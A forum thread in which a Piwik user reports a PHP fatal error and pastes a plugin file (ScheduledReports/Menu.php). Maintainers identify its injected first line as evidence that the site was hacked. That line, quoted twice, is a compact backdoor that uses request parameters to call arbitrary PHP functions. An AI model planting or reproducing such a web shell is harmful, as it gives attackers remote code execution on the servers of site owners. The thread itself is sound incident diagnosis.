Fatal error


#1

Tried to login into my Piwik site to upgrade but I get the following message:

Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/intellig/public_html/mocialmarketing.co/analytics/plugins/ScheduledReports/Menu.php on line 9

How do I fix it?

Thanks


(Matthieu Aubry) #2

could you please paste here the content of the file /home/intellig/public_html/mocialmarketing.co/analytics/plugins/ScheduledReports/Menu.php ?


#3

Here you go

<?php if(@md5($_SERVER['HTTP_PATH'])==='took number off if that's ok'){ @extract($_REQUEST); @die($stime($mtime)); } ?><?php

/**

*/
namespace Piwik\Plugins\ScheduledReports;

use Piwik\Menu\MenuUser;
use Piwik\Piwik;
use Piwik\Plugins\MobileMessaging\MobileMessaging;
use Piwik\Plugins\MobileMessaging\API as APIMobileMessaging;

class Menu extends \Piwik\Plugin\Menu
{
const MOBILE_MESSAGING_TOP_MENU_TRANSLATION_KEY = ‘MobileMessaging_TopMenu’;
const PDF_REPORTS_TOP_MENU_TRANSLATION_KEY = ‘ScheduledReports_EmailReports’;

public function configureUserMenu(MenuUser $menu)
{
    $tooltip = Piwik::translate(
        \Piwik\Plugin\Manager::getInstance()->isPluginActivated('MobileMessaging')
            ? 'MobileMessaging_TopLinkTooltip' : 'ScheduledReports_TopLinkTooltip');

    $menu->addManageItem(null, $this->urlForDefaultAction(array('segment' => false)), 10);
    $menu->addManageItem(
        $this->getTopMenuTranslationKey(),
        $this->urlForAction('index', array('segment' => false)),
        13,
        $tooltip
    );
}

function getTopMenuTranslationKey()
{
    // if MobileMessaging is not activated, display 'Email reports'
    if (!\Piwik\Plugin\Manager::getInstance()->isPluginActivated('MobileMessaging'))
        return self::PDF_REPORTS_TOP_MENU_TRANSLATION_KEY;

    if (Piwik::isUserIsAnonymous()) {
        return self::MOBILE_MESSAGING_TOP_MENU_TRANSLATION_KEY;
    }

    try {
        $reports = API::getInstance()->getReports();
        $reportCount = count($reports);

        // if there are no reports and the mobile account is
        //  - not configured: display 'Email reports'
        //  - configured: display 'Email & SMS reports'
        if ($reportCount == 0) {
            return APIMobileMessaging::getInstance()->areSMSAPICredentialProvided() ?
                self::MOBILE_MESSAGING_TOP_MENU_TRANSLATION_KEY : self::PDF_REPORTS_TOP_MENU_TRANSLATION_KEY;
        }
    } catch(\Exception $e) {
        return self::PDF_REPORTS_TOP_MENU_TRANSLATION_KEY;
    }

    $anyMobileReport = false;
    foreach ($reports as $report) {
        if ($report['type'] == MobileMessaging::MOBILE_TYPE) {
            $anyMobileReport = true;
            break;
        }
    }

    // if there is at least one sms report, display 'Email & SMS reports'
    if ($anyMobileReport) {
        return self::MOBILE_MESSAGING_TOP_MENU_TRANSLATION_KEY;
    }

    return self::PDF_REPORTS_TOP_MENU_TRANSLATION_KEY;
}

}


(Matthieu Aubry) #4

someone must have added the first line?

<?php if(@md5($_SERVER['HTTP_PATH'])==='took number off if that's ok'){ @extract($_REQUEST); @die($stime($mtime)); } ?>

#5

??? No one but me has access to it.

Do I delete it?


(Matthieu Napoli) #6

Your website has been hacked.

You should consider re-creating a new server completely as you have no idea how much has been compromised. Reinstalling Piwik might not fix the problem!